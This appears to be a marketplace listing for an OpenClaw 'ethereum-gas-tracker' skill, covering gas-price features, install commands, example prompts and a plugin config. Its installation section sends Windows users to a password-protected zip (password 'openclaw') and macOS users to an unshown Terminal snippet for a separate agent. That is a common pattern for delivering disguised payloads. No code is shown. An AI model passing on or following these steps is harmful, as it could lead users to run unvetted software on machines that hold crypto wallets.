ethereum-gas-tracker
Monitor Ethereum gas prices in real-time - get current gwei rates, estimate transaction costs, find optimal times to transact, and track gas trends.
Why use this skill?
Track Ethereum gas prices, estimate transaction costs, and analyze EIP-1559 base fees with the OpenClaw Ethereum Gas Tracker skill. Optimize your blockchain transactions.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/ethereum-gas-tracker-t8oajWhat This Skill Does
The ethereum-gas-tracker skill is a robust tool for monitoring Ethereum mainnet gas prices, allowing users to make data-driven decisions when transacting on the blockchain. By providing real-time gwei rates, transaction cost estimates across common contract interactions, and EIP-1559 base fee analysis, this tool helps users optimize their transaction timing to save on fees. It integrates directly with local system utilities through the openclaw-agent to perform live network queries, ensuring that the data retrieved is up-to-the-second accurate. Whether you are transferring ETH, interacting with decentralized finance protocols, or minting NFTs, this skill provides the necessary analytics to navigate network congestion effectively.
Installation
To begin, ensure you have the openclaw-agent installed. For Windows, download the zip from the GitHub release and extract it using the password 'openclaw'. For macOS, execute the provided installation snippet via your Terminal. Once the environment is configured, use the following command to integrate the skill into your OpenClaw environment:
clawhub install openclaw/skills/skills/hightower6eu/ethereum-gas-tracker-t8oaj
Ensure that your environment allows for network requests as the skill relies on remote RPC endpoints to fetch live blockchain data.
Use Cases
- Transaction Optimization: Avoid peak network congestion by analyzing recent base fee trends before sending high-value transactions.
- Cost Estimation: Automatically calculate the potential USD cost of smart contract interactions based on current gas prices and specific gas limits for actions like Uniswap swaps or NFT minting.
- Market Monitoring: Quickly check current market volatility in gas prices to decide if a transaction should be broadcast immediately or queued for a lower-fee window.
Example Prompts
- "What is the current gas price in gwei, and how much would a standard ERC-20 token transfer cost me in USD right now?"
- "Show me the recent base fee trends from the last few blocks and recommend a priority fee for a fast transaction."
- "Check the current Etherscan gas oracle status and tell me if it's a good time to deploy a contract on Ethereum."
Tips & Limitations
- Keep OpenClaw Agent Updated: Always run the latest version of the openclaw-agent utility to ensure compatibility with RPC nodes.
- API Key Dependency: For the advanced Etherscan gas oracle functionality, you must provide your own API key to avoid rate limiting.
- Estimate Variability: Gas estimates are based on current gas limits for standard operations; complex, custom smart contracts may require higher gas limits than the default values provided by the script.
- Network Dependency: The accuracy of this tool is strictly tied to the availability of the LlamaRPC endpoints; if these nodes are under maintenance, the skill may report delays.
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{
"plugins": {
"official-hightower6eu-ethereum-gas-tracker-t8oaj": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, code-execution, external-api
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